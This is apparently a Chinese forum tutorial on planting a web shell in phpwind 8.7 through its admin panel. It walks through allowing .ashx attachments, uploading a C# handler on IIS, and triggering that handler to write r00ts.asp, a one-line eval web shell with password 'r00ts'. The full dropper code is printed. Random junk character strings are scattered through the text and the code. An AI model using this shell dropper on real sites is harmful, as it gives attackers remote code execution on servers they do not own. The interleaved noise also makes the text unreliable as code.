phpwind 8.7 后台拿shell

admin

首先点开后台地图 然后附件设置 添加一个ashx后缀 2000大小
+ [  H  d' W9 {, x3 I# i( d
群里面我以前扔的那个ashx.txt 下载回来改成fuck.ashx

发表文章那边有个附件上传 把ashx扔上去 前提是iis 阿帕奇我还真不知道咋整
) t* j7 v# d9 C- I7 |
然后再打开后台地图 附件优化 滑到下面就看到刚上传的ashx

4 U1 V  }9 \4 B' _打开之后空白 会在目录底下生成r00ts.asp 密码r00ts

下面是代码:

<%@ WebHandler Language="C#"Class="Handler" %>
using System;
$ J$ A+ T7 X$ nusing System.Web;
+ x  R7 o% {( ~; V0 Kusing System.IO;
public class Handler : IHttpHandler {
public void ProcessRequest (HttpContext context) {
context.Response.ContentType = "text/plain";
StreamWriter file1= File.CreateText(context.Server.MapPath("r00ts.asp"));
  d8 e7 s; k, H- v1 L" X+ vfile1.Write("<%eval request(\"r00ts\")%>");
- [0 P9 O5 i+ C) R8 d# Ofile1.Flush();
file1.Close();
" d$ @1 \( u; M6 s5 H% h}
4 R5 _6 v* T% j% wpublic bool IsReusable {
get {
1 s; G1 d! f6 T' J7 Wreturn false;
6 b8 T1 L4 `' C}
( J6 M# e& I/ [' C}
}